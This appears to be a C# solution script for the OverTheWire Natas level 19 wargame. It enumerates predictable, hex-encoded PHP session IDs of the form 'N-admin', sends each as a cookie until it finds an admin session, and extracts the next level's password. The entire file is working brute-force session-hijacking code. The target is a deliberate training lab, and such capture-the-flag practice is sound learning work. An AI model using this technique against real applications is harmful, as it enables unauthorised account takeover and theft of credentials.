otw_natas19.cs

var userPass = "natas19:<--- password for natas19 --->";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));

var uri = new Uri("http://natas19.natas.labs.overthewire.org/index.php");

for (int i = 1; i < 641; i++)
{
	var handler = new HttpClientHandler();
	handler.CookieContainer = new CookieContainer();

	var sessionId = String.Join("", 
		$"{i}-admin"
			.ToCharArray()
			.Select(c => 
				Convert.ToByte(c)
				.ToString("x")));
	
	handler.CookieContainer.Add(uri, new Cookie("PHPSESSID", sessionId));

	var client = new HttpClient(handler);

	client.DefaultRequestHeaders.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Basic", token);
	var response = await client.GetStringAsync(uri);

	if (response.Contains("You are an admin"))
	{
		Console.WriteLine($"Session found PHPSESSID={handler.CookieContainer.GetCookies(uri)["PHPSESSID"].Value}");
		var match = Regex.Match(response, "Password: (.+)</pre>");
		Console.WriteLine($"Password is {match.Groups[1].Value}");
		break;
	}
}